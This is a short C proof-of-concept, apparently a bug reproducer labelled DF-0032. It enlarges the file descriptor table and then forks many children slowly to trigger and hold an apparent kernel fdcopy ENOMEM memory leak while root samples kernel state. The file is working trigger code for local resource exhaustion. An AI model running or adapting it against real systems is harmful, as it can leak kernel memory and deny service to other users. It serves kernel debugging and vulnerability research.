DF-0032 / exhaust_slow.c
/* DF-0032 slow variant: same trigger but slower (usleep per fork) so root can * sample kernel state in parallel at the exact moment fdcopy starts failing. */ #include <sys/resource.h> #include <sys/wait.h> #include <signal.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> int main(void) { int devnull = open("/dev/null", O_RDWR); int high = 0; for (int fd = 64; fd <= 15000; fd += 64) { if (dup2(devnull, fd) < 0) break; high = fd; } fprintf(stderr, "[slow] fd table grown to %d\n", high); int enomem=0, ok=0; for (int i=0;i<2000;i++){ pid_t p=fork(); if(p==0){pause();_exit(0);} else if(p>0){ok++;} else{ if(errno==ENOMEM){enomem++; if(enomem<=3) fprintf(stderr,"[slow] ENOMEM #%d after ok=%d (fdcopy fail=LEAK)\n",enomem,ok);} else if(errno==EAGAIN){ fprintf(stderr,"[slow] EAGAIN (cap) after ok=%d\n",ok); break; } if(enomem>3){ fprintf(stderr,"[slow] stopping after 3 ENOMEM leaks; holding children for sampling\n"); break; } } usleep(8000); /* slow down so root can sample */ } /* hold children alive so root can snapshot the leaked/orphan state */ fprintf(stderr,"[slow] sleeping 25s holding state for root sampling...\n"); sleep(25); kill(0,SIGTERM); while(waitpid(-1,NULL,0)>0); return 0; } |